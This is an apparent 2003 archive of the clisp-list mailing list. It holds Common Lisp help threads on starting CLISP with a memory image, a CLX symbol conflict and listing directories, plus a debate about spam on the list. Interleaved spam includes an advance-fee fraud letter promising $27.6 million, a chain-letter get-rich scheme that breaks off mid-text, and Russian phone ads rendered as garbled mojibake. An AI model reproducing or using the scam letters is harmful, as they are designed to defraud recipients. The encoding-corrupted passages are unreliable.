> system command "CreateProcess". If I start with CreateProcess" only
> the executable "lisp.exe" (thus, without the memory file
> "lispinit.mem"), everything is fine, CLisp starts up and I can type
> something on the prompt which appears.
> 
> However, if I want to start CLisp with CreateProcess together with the
> memory image "lispinit.mem" using the command line option "-M", then
> there is a problem: From the task manager, I can see that a process
> "lisp.exe" was created, however, it seems as if this process is
> hanging somewhere. At least, there is no prompt and no
> read-eval-print-loop where I could evaluate lisp expressions.

CLISP uses CreateProcess for EXT:SHELL and EXT::LAUNCH and both start
CLISP just fine:


[7]> (EXT::LAUNCH "d:/gnu/clisp/current/build-g-mingw/lisp.exe" :ARGUMENTS
'("-norc" "-q" "-M" "d:/gnu/clisp/current/build-g-mingw/lispinit.mem"))
Reserved address range 0x19d90000-0x5fffffff .
STACK depth: 16363

[1]> (quit)
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Bye.

[1]> (shell "d:/gnu/clisp/current/build-g-mingw/lisp.exe -M d:/gnu/clisp/current
/build-g-mingw/lispinit.mem")
Reserved address range 0x19d90000-0x5fffffff .
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;; Loading file D:\sds\_clisprc ...
;;  Loading file D:\sds\lisp\init.fas ...
;;   Loading file D:\gnu\clocc\clocc.fas ...
;;   Loaded file D:\gnu\clocc\clocc.fas
;;   Loading file D:\gnu\clocc\src\cllib\base.fas ...
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;;   Loading file D:\gnu\clocc\src\cllib\auto.fas ...
;;   Loaded file D:\gnu\clocc\src\cllib\auto.fas
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Bye.

can it be that you are not passing some arguments, like stdio, to
CreateProcess?

at any rate, I am pretty sure this is a good question for a win32 newsgroup.

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Hi

I have noticed an increasing amount of spam on the list.  Is there 
anything the SF people can do?

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> * In message <BB3C8EDB-A0DA-11D7-B656-000393A70920@cs.nyu.edu>
> * On the subject of "[clisp-list] Spam on the list"
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>
> I have noticed an increasing amount of spam on the list.  Is there
> anything the SF people can do?

yes - they can feed everything that goes through their servers into spam
assassin or similar, so that the users will be able to filter the
garbage out.

[ 652295 ] spam filtering needed!
<https://sourceforge.net/tracker/?func=detail&aid=652295&group_id=1&atid=350001>


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Sam Steingold <sds@gnu.org> writes:

>> * In message <BB3C8EDB-A0DA-11D7-B656-000393A70920@cs.nyu.edu>
>> * On the subject of "[clisp-list] Spam on the list"
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>>
>> I have noticed an increasing amount of spam on the list.  Is there
>> anything the SF people can do?
>
> yes - they can feed everything that goes through their servers into spam
> assassin or similar, so that the users will be able to filter the
> garbage out.

either that, or making posting only available to subscribers.  but
that would not be nice to us gmane users (but but if there's an
ability to subscribe without actually getting any messages, that
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> * In message <s3of0w7ixf.fsf@laredo.verisity.com.cmm>
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> Sam Steingold <sds@gnu.org> writes:
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> >> anything the SF people can do?
> >
> > yes - they can feed everything that goes through their servers into spam
> > assassin or similar, so that the users will be able to filter the
> > garbage out.
> 
> either that, or making posting only available to subscribers.

this is no good for bug reporting reasons.
first time users should be able to get through easily.

> but that would not be nice to us gmane users (but but if there's an
> ability to subscribe without actually getting any messages, that could
> work OK).

you can disable delivery to your mail address using a nice web interface.

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>>>>> ">" == Michael Livshin <usenet@cmm.kakpryg.net> writes:

    >> Sam Steingold <sds@gnu.org> writes:

    >>> * In message <BB3C8EDB-A0DA-11D7-B656-000393A70920@cs.nyu.edu>
    >>> * On the subject of "[clisp-list] Spam on the list" * Sent on
    >>> Tue, 17 Jun 2003 11:45:33 -0400 * Honorable Marco Antoniotti
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    >>> I have noticed an increasing amount of spam on the list.  Is
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    >>  yes - they can feed everything that goes through their servers
    >> into spam assassin or similar, so that the users will be able
    >> to filter the garbage out.

    >> either that, or making posting only available to subscribers.
    >> but that would not be nice to us gmane users (but but if
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    >> messages, that could work OK).

The most effective way would be to allow subscribers to post
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> * In message <200306171841.h5HIf1707242@posso.dm.unipi.it>
> * On the subject of "Re: [clisp-list] Re: Spam on the list"
> * Sent on Tue, 17 Jun 2003 20:41:01 +0200
> * Honorable Carlo Traverso <traverso@dm.unipi.it> writes:
>
> The most effective way would be to allow subscribers to post
> immediately, and non-subscriber messages to require authorization of a
> moderator. Usually the mailing list software allowws to set this
> option.

do you volunteer to be the moderator?

note that the unsubscribed user will probably send many replies in the
ensuing discussion and you will have to approve her messages promptly
so that the other users will see them in time.

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<strong><font size="+1"><font color="#0000FF"><div align="center">Ñóïåð òåëåôîíû ïî ñàìîé íèçêîé öåíå â Ìîñêâå!</div></font></font></strong><br>
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	<td><img src="http://www.herweck.de/neuigkeiten/nokia/7210.jpg" alt="" border="0"></td>
	<td><strong><font color="#FF0000">NOKIA 7210 - 260$</font></strong><br>
	Ðàçìåðû: 106x45x17,5 ìì <br>
Âåñ: 83 ã.  <br>
Âðåìÿ ðàáîòû:<br>
(Li-Ion)<br>
-  ðåæèìå îæèäàíèÿ: äî 240 ÷àñîâ<br>
-  ðåæèìå ðàçãîâîðà: äî 4 ÷àñîâ <br>
Öâåòíîé äèñïëåé <br>
Stereo FM ðàäèî â ñòàíäàðòíîé ïîñòàâêå <br>
Ïîëèôîíè÷åñêèå ìåëîäèè âûçîâà <br>
MMS <br>
GPRS <br>
Ïîääåðæêà J2ME <br>
Pop-Port™ <br>
IrDA <br>
Ñìåííûå ïàíåëè Xpress-on
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	<td><img src="http://www.imobile.com.au/images/future/oct02/gd55.gif" alt="" border="0"></td>
	<td><strong><font color="#FF0000">Panasonic gd 55 - 180$</font></strong><br>
	Ðàçìåðû: 77x49x16.9 ìì <br>
Âåñ: 65 ã. <br>
Âðåìÿ ðàáîòû:<br>
(Li-Ion)<br>
-  ðåæèìå îæèäàíèÿ: äî 230 ÷àñîâ<br>
-  ðåæèìå ðàçãîâîðà: äî 7.9 ÷àñîâ<br>
Ïîëèôîíè÷åñêèå ìåëîäèè <br>
GPRS <br>
WAP <br>
Ãðîìêàÿ ñâÿçü 
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	<td><img src="http://www.topman.ru/press/img/siemens_sl55-v1.jpg" alt="" border="0"></td>
	<td><strong><font color="#FF0000">Siemens sl 55 - 600$</font></strong><br>
	Ðàçìåðû: 81,6õ44,5õ21,9 ìì <br>
Âåñ: 79 ã. <br>
Âðåìÿ ðàáîòû:<br>
(Li-Ion 500 ìÀ÷)<br>
- â ðåæèìå îæèäàíèÿ: 200÷<br>
- â ðåæèìå ðàçãîâîðà: 3,5 ÷<br>
Ñäâèæíîé êîðïóñ <br>
Öâåòíîé äèñïëåé <br>
Ïîëèôîíè÷åñêèå ìåëîäèè <br>
Java2ME <br>
GPRS <br>
MMS <br>
IrDA <br>
Âîçìîæíîñòü ïîäêëþ÷åíèÿ öèôðîâîé ôîòîêàìåðû  
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	<td><img src="http://topmobile.ru/img/shop_goods/little/486.jpg" alt="" border="0"></td>
	<td><strong><font color="#FF0000">Siemens s55 c êàìåðîé è êàáåëåì - 360$</font></strong><br>
	Ðàçìåðû: 101x42x18 ìì <br>
Âåñ: 85 ã. <br>
Âðåìÿ ðàáîòû:<br>
(Li-Ion)<br>
- Â ðåæèìå îæèäàíèÿ: äî 12 äíåé<br>
-  ðåæèìå ðàçãîâîðà: äî 6 ÷àñîâ<br>
Öâåòíîé äèñïëåé <br>
Ïîëèôîíè÷åñêèå ìåëîäèè <br>
J2ME <br>
IrDA <br>
GPRS <br>
Bluetooth<br> 
MMS
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	<td><strong><font color="#FF0000">Motorola t720i - 215$</font></strong><br>
	Ðàçìåðû: 90x47,5x21,3 ìì <br>
Âåñ: 100 ã.  <br>
Âðåìÿ ðàáîòû (Li-Ion 550 mAh / 750 mAh):<br>
-  ðåæèìå îæèäàíèÿ: äî 170 ÷àñîâ<br>
-  ðåæèìå ðàçãîâîðà: äî 3 ÷àñîâ <br>
Öâåòíîé äèñïëåé <br>
GPRS <br>
EMS <br>
Ïîëèôîíè÷åñêèå ìåëîäèè âûçîâà <br>
Java2Micro Edition (J2ME) <br>
Òèï êîðïóñà - "êíèæêà" <br>
Ñìåííûå ïàíåëè   
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	<td><img src="http://www.samsung.pt/pictures/mobile/s100_close_m.jpg" alt="" border="0"></td>
	<td><strong><font color="#FF0000">Samsung a800 - 225$</font></strong><br>
	Ðàçìåðû: 80x42x22 ìì <br>
Âåñ: 68 ã.  <br>
Âðåìÿ ðàáîòû: (Li-Ion 750 mAh)<br>
-  ðåæèìå îæèäàíèÿ: äî 150 ÷àñîâ<br>
-  ðåæèìå ðàçãîâîðà: äî 3 ÷àñîâ <br>
Òåñò "Ñîòîâèê" Samsung SGH-A800 <br>
WAP <br>
EMS <br>
Ïîëèôîíè÷åñêèå ìåëîäèè <br>
2 äèñïëåÿ 
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<strong><font color="#000080"><font size="+1">Ëåòíÿÿ ðàñïðîäàæà ñîòîâûõ òåëåôîíîâ ñ ïîäêëþ÷åíèåì!</font></font></strong><br><br>
 
<strong><font color="#008000">Mitsubishi Trium mars+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=1999ðóá.<br></font></strong>
Siemens a35+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=2350ðóá.<br>
Siemens a40+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=2600ðóá.<br>
Siemens a50+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=2980ðóá.<br>
Siemens c55+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=4190ðóá.<br>
Siemens A55+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=3678ðóá.<br>
Siemens m50+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=3678ðóá.<br>
Alcatel ot311+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=2850ðóá.<br>
Motorola T2288+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=2475ðóá.<br>
Motorola v2288+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=2630ðóá.<br>
Motorola T190+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=2900ðóá.<br>
Motorola T191+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=3300ðóá.<br>
Motorola T192+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=2900ðóá.<br>
Motorola v50+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=4640ðóá.<br>
Motorola C350+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=4930ðóá.<br>
Nokia 3310+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=3350ðóá.<br>
LG B1200+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=3550ðóá.<br>
LG W3000+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=4250ðóá.<br><br>
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Hi,

Carlo Traverso
>The most effective way would be to allow subscribers to post
>immediately, and non-subscriber messages to require authorization of a
>moderator. Usually the mailing list software allowws to set this
>option.

I've been told that Spammer-SW is known to subscribe to mailing lists and send messages here and then, possibly much later.
How would you (as a moderator or approver) tell a spammer's subscription request from a "good" one?

Regards,
	Jorg Hohle.


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>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:

    >> * In message <200306171841.h5HIf1707242@posso.dm.unipi.it> * On
    >> the subject of "Re: [clisp-list] Re: Spam on the list" * Sent
    >> on Tue, 17 Jun 2003 20:41:01 +0200 * Honorable Carlo Traverso
    >> <traverso@dm.unipi.it> writes:
    >> 
    >> The most effective way would be to allow subscribers to post
    >> immediately, and non-subscriber messages to require
    >> authorization of a moderator. Usually the mailing list software
    >> allowws to set this option.

    Sam> do you volunteer to be the moderator?

I could but not before october, since I'll be offline frequently before.

    Sam> note that the unsubscribed user will probably send many
    Sam> replies in the ensuing discussion and you will have to
    Sam> approve her messages promptly so that the other users will
    Sam> see them in time.

Users wanting fast interaction can subscribe.

Carlo



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>>>>> "Hoehle," == Hoehle, Joerg-Cyril <Joerg-Cyril.Hoehle@t-systems.com> writes:

    Hoehle,> Hi,

    Hoehle,> Carlo Traverso
    >> The most effective way would be to allow subscribers to post
    >> immediately, and non-subscriber messages to require
    >> authorization of a moderator. Usually the mailing list software
    >> allowws to set this option.

    Hoehle,> I've been told that Spammer-SW is known to subscribe to
    Hoehle,> mailing lists and send messages here and then, possibly
    Hoehle,> much later.  How would you (as a moderator or approver)
    Hoehle,> tell a spammer's subscription request from a "good" one?

Subscribed spammers can just send once. clisp is one of the only two
list to which I am subscribed that distributes spam.

Carlo Traverso





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From: Mrs. Mary Rowland
EMAIL:maryroland@rediffmail.com

PLEASE ENDEAVOUR TO USE IT FOR THE CHILDREN OF GOD. 
I am the above named person from Malaysia but now
undergoing medical treatment . I am
married to Dr.Alan George Rowland who worked with
Malaysia
embassy in South Africa for nine years before  he died
in the year 2000. 
We were married for eleven years without a child. He
died after a brief 
illness that lasted for only four days. Before his
death we were both born again Christians.Since his
death I decided not to re-marry or get a child outside
my matrimonial home which the Bible is against.When my
late husband was alive he deposited the sum
of$27.6Million (twenty-seven Million six hundred
thousand U.S. Dollars) with one 
finance/security company in Europe. 
Presently, this money is still with the Security
Company. Recently, my Doctor told me that I would not
last for the next three months due to cancer problem.
Though what disturbs me most is my stroke. 
 Having known my condition I decided to donate this
fund to church or 
better still a christian individual that will utilize
this money the way I am going to instruct here in. I
want a church or individual
that will use this to fund churches, orphanages and
widows propagating the word of God and to ensure that
the house of God is maintained. The Bible made us to 
understand that Blessed is the hand that giveth. 
I took this decision because I don’t have any child
that will inherit this money and my husband relatives
are not Christians
and I don’t want my husband’s hard earned money to be
misused by
unbelievers. I don’t want a situation where this money
will be used in an
ungodly manner, hence the reason for taking this bold
decision. I am
not afraid of death hence I know where I am going. I
know that I am going to be in the bossom of the Lord.
Exodus 14 VS 14 says that the lord will fight my case
and I shall hold my peace. I don’t need any telephone
communication in this regard because of my health,and
because of the presence of my husband’s relatives
around me always. I don’t want them to know about this
development. With God all things are possible. As soon
as I receive your reply I shall give you the contact
of the  Finance/Security Company Europe. I will also
issue you a letter of authority
that will empower you as the original- beneficiary of
this fund. I want you and the church to always pray
for me because the lord is my shephard. My happiness
is that I lived a life of a worthy Christian. Whoever
that wants to serve the Lord must serve him in spirit
and truth. Please always be prayerful all through your
life.
  Any delay in your reply will give me room in
sourcing for a church or christian individual for this
same purpose. Please assure me that you will act
accordingly as I stated herein. Hoping to hear from
you. 



Remain blessed in the name of the Lord. 
Yours in Christ, 
Mrs Mary Rowland.



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<strong><font size="+1"><font color="#0000FF"><div align="center">Ñóïåð òåëåôîíû ïî ñàìîé íèçêîé öåíå â Ìîñêâå!</div></font></font></strong><br>
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	<td><img src="http://www.herweck.de/neuigkeiten/nokia/7210.jpg" alt="" border="0"></td>
	<td><strong><font color="#FF0000">NOKIA 7210 - 260$</font></strong><br>
	Ðàçìåðû: 106x45x17,5 ìì <br>
Âåñ: 83 ã.  <br>
Âðåìÿ ðàáîòû:<br>
(Li-Ion)<br>
-  ðåæèìå îæèäàíèÿ: äî 240 ÷àñîâ<br>
-  ðåæèìå ðàçãîâîðà: äî 4 ÷àñîâ <br>
Öâåòíîé äèñïëåé <br>
Stereo FM ðàäèî â ñòàíäàðòíîé ïîñòàâêå <br>
Ïîëèôîíè÷åñêèå ìåëîäèè âûçîâà <br>
MMS <br>
GPRS <br>
Ïîääåðæêà J2ME <br>
Pop-Port™ <br>
IrDA <br>
Ñìåííûå ïàíåëè Xpress-on
	</td>
	<td><img src="http://www.imobile.com.au/images/future/oct02/gd55.gif" alt="" border="0"></td>
	<td><strong><font color="#FF0000">Panasonic gd 55 - 180$</font></strong><br>
	Ðàçìåðû: 77x49x16.9 ìì <br>
Âåñ: 65 ã. <br>
Âðåìÿ ðàáîòû:<br>
(Li-Ion)<br>
-  ðåæèìå îæèäàíèÿ: äî 230 ÷àñîâ<br>
-  ðåæèìå ðàçãîâîðà: äî 7.9 ÷àñîâ<br>
Ïîëèôîíè÷åñêèå ìåëîäèè <br>
GPRS <br>
WAP <br>
Ãðîìêàÿ ñâÿçü 
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</tr>
<tr>
	<td><img src="http://www.topman.ru/press/img/siemens_sl55-v1.jpg" alt="" border="0"></td>
	<td><strong><font color="#FF0000">Siemens sl 55 - 600$</font></strong><br>
	Ðàçìåðû: 81,6õ44,5õ21,9 ìì <br>
Âåñ: 79 ã. <br>
Âðåìÿ ðàáîòû:<br>
(Li-Ion 500 ìÀ÷)<br>
- â ðåæèìå îæèäàíèÿ: 200÷<br>
- â ðåæèìå ðàçãîâîðà: 3,5 ÷<br>
Ñäâèæíîé êîðïóñ <br>
Öâåòíîé äèñïëåé <br>
Ïîëèôîíè÷åñêèå ìåëîäèè <br>
Java2ME <br>
GPRS <br>
MMS <br>
IrDA <br>
Âîçìîæíîñòü ïîäêëþ÷åíèÿ öèôðîâîé ôîòîêàìåðû  
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	<td><img src="http://topmobile.ru/img/shop_goods/little/486.jpg" alt="" border="0"></td>
	<td><strong><font color="#FF0000">Siemens s55 c êàìåðîé è êàáåëåì - 360$</font></strong><br>
	Ðàçìåðû: 101x42x18 ìì <br>
Âåñ: 85 ã. <br>
Âðåìÿ ðàáîòû:<br>
(Li-Ion)<br>
- Â ðåæèìå îæèäàíèÿ: äî 12 äíåé<br>
-  ðåæèìå ðàçãîâîðà: äî 6 ÷àñîâ<br>
Öâåòíîé äèñïëåé <br>
Ïîëèôîíè÷åñêèå ìåëîäèè <br>
J2ME <br>
IrDA <br>
GPRS <br>
Bluetooth<br> 
MMS
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	<td><img src="http://www.gplustel.com/eprice/img/prod/873.jpg" alt="" border="0"></td>
	<td><strong><font color="#FF0000">Motorola t720i - 215$</font></strong><br>
	Ðàçìåðû: 90x47,5x21,3 ìì <br>
Âåñ: 100 ã.  <br>
Âðåìÿ ðàáîòû (Li-Ion 550 mAh / 750 mAh):<br>
-  ðåæèìå îæèäàíèÿ: äî 170 ÷àñîâ<br>
-  ðåæèìå ðàçãîâîðà: äî 3 ÷àñîâ <br>
Öâåòíîé äèñïëåé <br>
GPRS <br>
EMS <br>
Ïîëèôîíè÷åñêèå ìåëîäèè âûçîâà <br>
Java2Micro Edition (J2ME) <br>
Òèï êîðïóñà - "êíèæêà" <br>
Ñìåííûå ïàíåëè   
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	<td><img src="http://www.samsung.pt/pictures/mobile/s100_close_m.jpg" alt="" border="0"></td>
	<td><strong><font color="#FF0000">Samsung a800 - 225$</font></strong><br>
	Ðàçìåðû: 80x42x22 ìì <br>
Âåñ: 68 ã.  <br>
Âðåìÿ ðàáîòû: (Li-Ion 750 mAh)<br>
-  ðåæèìå îæèäàíèÿ: äî 150 ÷àñîâ<br>
-  ðåæèìå ðàçãîâîðà: äî 3 ÷àñîâ <br>
Òåñò "Ñîòîâèê" Samsung SGH-A800 <br>
WAP <br>
EMS <br>
Ïîëèôîíè÷åñêèå ìåëîäèè <br>
2 äèñïëåÿ 
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<strong><font color="#000080"><font size="+1">Ëåòíÿÿ ðàñïðîäàæà ñîòîâûõ òåëåôîíîâ ñ ïîäêëþ÷åíèåì!</font></font></strong><br><br>
 
<strong><font color="#008000">Mitsubishi Trium mars+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=1999ðóá.<br></font></strong>
Siemens a35+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=2350ðóá.<br>
Siemens a40+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=2600ðóá.<br>
Siemens a50+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=2980ðóá.<br>
Siemens c55+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=4190ðóá.<br>
Siemens A55+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=3678ðóá.<br>
Siemens m50+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=3678ðóá.<br>
Alcatel ot311+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=2850ðóá.<br>
Motorola T2288+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=2475ðóá.<br>
Motorola v2288+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=2630ðóá.<br>
Motorola T190+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=2900ðóá.<br>
Motorola T191+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=3300ðóá.<br>
Motorola T192+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=2900ðóá.<br>
Motorola v50+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=4640ðóá.<br>
Motorola C350+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=4930ðóá.<br>
Nokia 3310+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=3350ðóá.<br>
LG B1200+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=3550ðóá.<br>
LG W3000+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=4250ðóá.<br><br>
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If you're interested in my disclaimer, it is at the bottom. I'd like to be
able to use CLX without prefixing all functions with xlib:, so it seemed
like a good idea to start my file with (use-package 'xlib), but this
caused a name conflict on the symbol "char-width" which is a function in
both the common-lisp-user package and xlib.  My first idea was to unintern
it from c-l-user, but (unintern 'char-width) simply returns nil.  I also
tried wrapping use-package in an ignore-errors, but this did not properly
import the xlib symbols.  The most obvious solutions are to prefix every
xlib function with xlib: or to list every function that I use in an
import.  Obviously, neither of these is overly appealing to me.  Any
ideas?  Thanks a lot.

--David


P.S.: Disclaimer: I'm sure this question has been answered before, but I
swear to you that searching google and gmane for clisp clx char width
turned up nothing.  Sorry to waste your time.



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> * In message <pan.2003.06.19.21.48.56.666974@Stanford.EDU>
> * On the subject of "[clisp-list] Symbol Collision with CLX"
> * Sent on Thu, 19 Jun 2003 14:49:05 -0700
> * Honorable "David Reiss" <dreiss@Stanford.EDU> writes:
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> I'd like to be able to use CLX without prefixing all functions with
> xlib:, so it seemed like a good idea to start my file with
> (use-package 'xlib), but this caused a name conflict on the symbol
> "char-width" which is a function in both the common-lisp-user package
> and xlib.  My first idea was to unintern it from c-l-user, but
> (unintern 'char-width) simply returns nil.  I also tried wrapping
> use-package in an ignore-errors, but this did not properly import the
> xlib symbols.  The most obvious solutions are to prefix every xlib
> function with xlib: or to list every function that I use in an import.
> Obviously, neither of these is overly appealing to me.  Any ideas?

SHADOWING-IMPORT is your friend:

(shadowing-import 'xlib:char-width)
(use-package "XLIB")

good luck.

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I am using clisp 2.30.1
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*** - EVAL: the function DEFUN is undefined

I also tried the factorial function from the tutorial =3D=3D> same =
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What am I doing wrong?

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<DIV><FONT face=3DArial size=3D2>I am using clisp 2.30.1</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>when I type </FONT></DIV>
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<DIV><FONT face=3DArial size=3D2>(defun f(x) 6)</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I get the following error</FONT></DIV>
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undefined</FONT></DIV>
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Date: Mon Jun 23 16:57:06 2003
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> * In message <000201c339e1$db37fc10$0000a398@hewlett2ih5nie>
> * On the subject of "[clisp-list] FAQ"
> * Sent on Mon, 23 Jun 2003 19:43:55 -0400
> * Honorable "Herve Franceschi" <herve1@erols.com> writes:
>
> I am using clisp 2.30.1
> when I type 
> 
> (defun f(x) 6)
> 
> I get the following error
> *** - EVAL: the function DEFUN is undefined
> 
> I also tried the factorial function from the tutorial ==> same problem
> 
> What am I doing wrong?

do you have _clisprc?
what is the value of CL:*PACKAGE*?
did you change it?
what is the prompt?

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Date: Mon Jun 23 17:17:17 2003
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Hello Herve,

Tuesday, June 24, 2003, 10:43:55 AM, you wrote:

Herve> I am using clisp 2.30.1
Herve> when I type 

Herve> (defun f(x) 6)

Herve> I get the following error
Herve> *** - EVAL: the function DEFUN is undefined

Herve> I also tried the factorial function from the tutorial ==> same problem

Herve> What am I doing wrong?

Possibly you're starting clisp without memory image. What command
line do you use to start clisp (if any). Do you just click on lisp.exe
in explorer ? Please use install.bat or supply a memory image with -M
commandl line option.

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Date: Mon Jun 23 18:44:01 2003
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Hello Herve,

Tuesday, June 24, 2003, 11:54:55 AM, you wrote:

Herve> To start clisp, I just double click on clisp.exe
Herve> I ran install.bat but I still have the same problem
Herve> Memory image:  what is this?
Herve> what shall I type at command line ?
Uhhh...

- html email
- faq question (though there's no FAQ)
- top quoting

considered bad things here AFAIK.

install.bat creates clisp.bat at the desktop, which properly calls
clisp with memory image supplied. Memory image is lispinit.mem so
whole minimal command line is 'lisp.exe -M lispinit.mem'.

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Hi!

Is it possible to get a list of the directories in a particular directory?
If I use (directory) I just get a list of files. I have searched the CLHS,
CLISP implementation notes and Google with no dice.

Barring this, is there any kind of operating system interface in CLISP,
something similar to Python's os.system() or os.popen()?

I'm using CLISP 2.30 on Linux. I'm trying to build an web-based file
lister interface. So far it's doing everything right except showing
subdirectories!

Thanks!

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> * In message <Pine.LNX.4.44.0306251257580.4151-100000@mail.dkp.com>
> * On the subject of "[clisp-list] [Q] Getting a list of directories?"
> * Sent on Wed, 25 Jun 2003 13:03:50 -0400 (EDT)
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> Is it possible to get a list of the directories in a particular
> directory?  If I use (directory) I just get a list of files. I have
> searched the CLHS, CLISP implementation notes and Google with no dice.

<http://clisp.cons.org/impnotes/files.html#dir>

> Barring this, is there any kind of operating system interface in
> CLISP, something similar to Python's os.system() or os.popen()?

<http://clisp.cons.org/impnotes/shell.html>


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Hi!

> > Is it possible to get a list of the directories in a particular
>
> <http://clisp.cons.org/impnotes/files.html#dir>
>
> > Barring this, is there any kind of operating system interface in
>
> <http://clisp.cons.org/impnotes/shell.html>

I _really_ did go through the implementation notes... But I didn't see
this stuff at _all_. I guess I got sidetraced on the directory LDAP stuff.

Thanks very much for your quick response... I was going to have to scrap
the thing and go with Python. Can you tell I'm new at this?

Jos'h



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> * In message <Pine.LNX.4.44.0306251400020.4151-100000@mail.dkp.com>
> * On the subject of "Re: [Q] Getting a list of directories?"
> * Sent on Wed, 25 Jun 2003 14:03:33 -0400 (EDT)
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> Thanks very much for your quick response...
you are very welcome.

> I was going to have to scrap the thing and go with Python.

CLISP possible weaknesses are not a good reason to switch to an
interpreted language with syntactic whitespace which is defined by a
unique implementation.  (<http://www.podval.org/~sds/tool.html>)

Other Common Lisp implementations, like CMUCL, SBCL, GCL, ECL &c, are
better alternatives if you feel that CLISP is lacking.

It might be a good idea to check out CLOCC/PORT (http://clocc.sf.net,
<http://www.podval.org/~sds/data/port.html>) and use it to avoid
becoming locked in a specific Common Lisp implementation.

> Can you tell I'm new at this?

OTOH, if you are really new to CL, it might be better to stick to one
implementation and use get used to it...


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On Wednesday 25 June 2003 19:22, Sam Steingold wrote:

> > I was going to have to scrap the thing and go with Python.
>
> CLISP possible weaknesses are not a good reason to switch to an
> interpreted language with syntactic whitespace which is defined by a
> unique implementation.  (<http://www.podval.org/~sds/tool.html>)

Not to be a pedant, but there are two implementations of Python with a third 
in the works (Python (C), Jython (Java), PyPy (Python)). Python and Jython 
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On Thursday, Jun 26, 2003, at 04:15 America/New_York, Will Newton wrote:

> On Wednesday 25 June 2003 19:22, Sam Steingold wrote:
>
>>> I was going to have to scrap the thing and go with Python.
>>
>> CLISP possible weaknesses are not a good reason to switch to an
>> interpreted language with syntactic whitespace which is defined by a
>> unique implementation.  (<http://www.podval.org/~sds/tool.html>)
>
> Not to be a pedant, but there are two implementations of Python with a 
> third
> in the works (Python (C), Jython (Java), PyPy (Python)). Python and 
> Jython
> also byte compile code.

Which only proves that entropy is increasing.  :)

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If you don't read ANYTHING else, and if you end up deleting this
email, just read only the next paragraph !

It will change your life!

Why do you think this email keeps showing up in your inbox?
Because this system WORKS, thats why!  
Are you still one of the sceptics that thinks that no one makes 
any money with this program?  Well, if you answered "Yes", you are WRONG.
It costs MONEY to send these emails, and therefore people are making 
a LOT of money sending this program, and having FUN at the same time!
If there was no money being made with this program, it wouldn't be able
to continue..... but it's like the energizer bunny, it just keeps 
going and going....
If you want to find out how this works, simply read the REST of the story.=
.

READ THIS MESSAGE if you are like me and want more than your lousy 
weekly paycheck.  Make more in a few months than last year at work. 
Believe it, and work it. 
 
This HONESTLY WORKS, don't make the same mistake I made. I deleted this 
7 or 8 times before finally giving it a try.  Within 2 weeks the orders 
(money) started coming in just like the plan below said it would. 
Give it a try!! 
 
You will be glad you did.

********************************************************

First read about how a 15 year old made $71,000.  
See below...

AS SEEN ON NATIONAL TV:  This is the media report.

PARENTS OF 15 - YEAR OLD - FIND $71,000 CASH HIDDEN IN
HIS CLOSET!

Does this headline look familiar?  Of course it does. 
You most likely have just seen this story recently
featured on a major nightly news program (USA).  And
reported elsewhere in the world (including my neck of
the woods - New Zealand).  His mother was cleaning and
putting laundry away when she came across a large
brown paper bag that was suspiciously buried beneath
some clothes and a skateboard in the back of her
15-year-old son's closet.
Nothing could have prepared her for the shock she got
when she opened the bag and found it was full of cash.
 Five-dollar bills, twenties, fifties and hundreds all
neatly rubber-banded in labeled piles.  "My first
thought was that he had robbed a bank, says the
41-year-old woman, "There was over $71,000 dollars in
that bag--that's more than my husband earns in a
year.

The woman immediately called her husband at the
car-dealership where he worked to tell him what she
had discovered.  He came home right away and they
drove together to the boy's school and picked him up. 
Little did they suspect that where the money came from
was more shocking than actually finding it in the
closet.

As it turns out, the boy had been sending out, via
E-mail, a type of "Report" to E-mail addresses that he
obtained off the Internet.  Everyday after school for
